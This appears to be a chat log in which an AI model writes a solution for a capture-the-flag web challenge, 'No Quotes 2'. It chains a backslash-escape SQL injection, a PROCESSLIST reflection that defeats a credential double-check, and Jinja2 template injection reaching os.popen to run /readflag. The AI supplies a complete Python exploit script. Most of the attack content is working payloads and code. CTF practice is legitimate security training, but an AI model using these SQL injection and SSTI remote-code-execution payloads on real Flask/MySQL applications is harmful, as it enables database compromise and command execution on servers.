这是个ctf的web挑战的源码,题目信息为 No Quotes 2 128 points 37 so...
Creato il: 10 gennaio 2026
Risposto usando GPT-5.2 Thinking da Chat01
Creato il: 10 gennaio 2026
Risposto usando GPT-5.2 Thinking da Chat01
这是个ctf的web挑战的源码,题目信息为
No Quotes 2
128 points
37 solves
Description
Unless it's from "Go Go Squid!", no quotes are allowed here! Let this wholesome quote heal your soul:
Ai Qing: "If you didn't know about robot combat back then, what would you be doing?"
Wu Bai: "There's no if. As long as you're here, I'll be here."
Now complete with a double check for extra security!
Author: SteakEnthusiast
,看下怎么获得flag,有啥可能的思路,写个获得flag的exp
我先按源码把“链子”理清,再给你一个可直接跑的 exp(只适用于这道 CTF 题的部署环境)。
/login 里拼 SQL:
pyquery = " ... WHERE username = ('%s') AND password = ('%s')" % (username, password)
WAF 只拦 ' 和 ",但 MySQL 默认会把反斜杠 \ 当作转义符。
如果让 username 以 \ 结尾,就能把源码里那枚“闭合单引号”转义掉,从而让后面的引号位置发生错位,把 password 变成可执行 SQL 片段。
登录后又做了:
pyif not username == row[0] or not password == row[1]: fail
也就是说:你注入出来的那一行,必须让 返回的 username/password 跟你提交的一模一样。
这里用一个很经典的“反射”办法:从 information_schema.PROCESSLIST 里读当前连接正在执行的 SQL 文本(INFO),再用 SUBSTRING_INDEX 把你提交的 username/password 从 INFO 里切出来当作返回列。
这样返回值天然等于你提交的内容,double check 就过了。
你可能担心“分隔符要用引号字符串”,但我们用
0x...十六进制字面量当分隔符(不需要引号),符合 no-quotes。
/home 里有:
pyreturn render_template_string(open("templates/home.html").read() % session["user"])
这等于把 session["user"] 先 %s 塞进模板,然后交给 Jinja2 渲染——典型 SSTI。
所以我们要让“登录得到的 session user(即 row[0])”变成 Jinja payload。
再配合题目自带的 SUID 程序 /readflag(会 cat /root/flag.txt),即可拿 flag。
为了满足“no quotes”,Jinja payload 里也不写引号:用 request.args 带参数。
jinja2{{cycler.__init__.__globals__.__builtins__.__import__(request.args.m).popen(request.args.cmd).read()}}\
分隔符(十六进制):
delim1 = "username = ('" → 0x757365726e616d65203d202827delim2 = "') AND password = ('" → 0x272920414e442070617373776f7264203d202827delim3 = "')" → 0x2729提取表达式:
sqlSUBSTRING_INDEX(SUBSTRING_INDEX(INFO, delim2, 1), delim1, -1)
sqlSUBSTRING_INDEX(SUBSTRING_INDEX(INFO, delim2, -1), delim3, 1)
最终 password 注入(无引号):
sql) UNION SELECT <u_expr>, <p_expr> FROM information_schema.PROCESSLIST WHERE ID=CONNECTION_ID() #
你只需要改
BASE_URL。
pythonimport re import requests BASE_URL = "http://127.0.0.1:5000" # TODO: 改成题目地址 def main(): s = requests.Session() # 1) username: SSTI payload + 末尾反斜杠触发 MySQL 反斜杠转义 username = r"{{cycler.__init__.__globals__.__builtins__.__import__(request.args.m).popen(request.args.cmd).read()}}\\" # 2) SQLi: 用 information_schema.PROCESSLIST.INFO 反射切出本次提交的 username/password delim1 = "0x757365726e616d65203d202827" # "username = ('" delim2 = "0x272920414e442070617373776f7264203d202827" # "') AND password = ('" delim3 = "0x2729" # "')" u_expr = f"SUBSTRING_INDEX(SUBSTRING_INDEX(INFO,{delim2},1),{delim1},-1)" p_expr = f"SUBSTRING_INDEX(SUBSTRING_INDEX(INFO,{delim2},-1),{delim3},1)" password = ( f") UNION SELECT {u_expr},{p_expr} " f"FROM information_schema.PROCESSLIST " f"WHERE ID=CONNECTION_ID() #" ) # 3) 触发登录,拿到 session r = s.post(f"{BASE_URL}/login", data={"username": username, "password": password}, allow_redirects=False) if r.status_code not in (302, 303): print("[!] login did not redirect, status:", r.status_code) print(r.text[:500]) return # 4) 访问 /home 触发 SSTI,执行 /readflag r = s.get(f"{BASE_URL}/home", params={"m": "os", "cmd": "/readflag"}) text = r.text # 5) 提取 flag(按 uoftctf{...} 习惯写个正则) m = re.search(r"uoftctf\{[^}]+\}", text) if m: print("[+] FLAG:", m.group(0)) else: print("[!] flag not found, response snippet:") print(text[:1000]) if __name__ == "__main__": main()
NO_BACKSLASH_ESCAPES:如果启用了,\ 就不能转义单引号了,这条路会断(但这题一般不会开)。PROCESSLIST.INFO 可能对超长语句有截断:如果你环境截断很短,就把 username payload 尽量缩短(我这条已经算偏短,且不含引号)。如果你把你打的目标地址/回显片段(比如返回 “Invalid credentials.” 还是 MySQL 报错页面)贴一小段出来,我可以基于回显帮你把 payload 再收敛到最稳的版本。